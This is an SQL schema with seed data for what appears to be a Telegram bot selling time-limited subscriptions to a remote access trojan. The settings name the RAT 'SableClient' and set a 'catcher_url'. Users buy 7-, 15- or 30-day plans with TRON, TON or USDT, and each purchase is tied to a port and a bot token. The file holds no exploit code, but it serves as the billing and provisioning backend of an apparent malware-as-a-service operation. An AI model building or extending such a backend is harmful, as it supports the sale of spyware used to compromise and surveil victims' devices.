CREATE TABLE IF NOT EXISTS users (
    user_id BIGINT PRIMARY KEY,
    username VARCHAR(64),
    first_name VARCHAR(128),
    wallet DECIMAL(12,2) DEFAULT 0,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);

CREATE TABLE IF NOT EXISTS plans (
    id VARCHAR(8) PRIMARY KEY,
    label VARCHAR(64),
    price DECIMAL(10,2),
    days INT
);

INSERT IGNORE INTO plans VALUES
('7d',  'شیشه‌ای ۷ روزه',  10.00, 7),
('15d', 'شیشه‌ای ۱۵ روزه', 25.00, 15),
('30d', 'شیشه‌ای ۳۰ روزه', 45.00, 30);

CREATE TABLE IF NOT EXISTS ports (
    id INT AUTO_INCREMENT PRIMARY KEY,
    user_id BIGINT,
    port INT,
    bot_token VARCHAR(128),
    expires_at DATETIME,
    active TINYINT DEFAULT 1,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
    KEY(user_id),
    UNIQUE KEY(bot_token)
);

CREATE TABLE IF NOT EXISTS payments (
    id INT AUTO_INCREMENT PRIMARY KEY,
    user_id BIGINT,
    method VARCHAR(16),
    amount DECIMAL(10,2),
    tx_hash VARCHAR(128),
    status VARCHAR(16) DEFAULT 'pending',
    plan_id VARCHAR(8) NULL,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);

CREATE TABLE IF NOT EXISTS wallet_deposits (
    id INT AUTO_INCREMENT PRIMARY KEY,
    user_id BIGINT,
    method VARCHAR(16),
    amount DECIMAL(10,2),
    tx_hash VARCHAR(128),
    status VARCHAR(16) DEFAULT 'pending',
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);

CREATE TABLE IF NOT EXISTS settings (
    k VARCHAR(64) PRIMARY KEY,
    v TEXT
);

INSERT IGNORE INTO settings VALUES
('catcher_url', 'https://example.com'),
('rat_name', 'SableClient'),
('rat_icon', ''),
('support_chat', '0'),
('tron_address', 'T...'),
('ton_address', 'UQ...'),
('usdt_address', 'T...');

CREATE TABLE IF NOT EXISTS support_msgs (
    id INT AUTO_INCREMENT PRIMARY KEY,
    user_id BIGINT,
    message TEXT,
    answered TINYINT DEFAULT 0,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);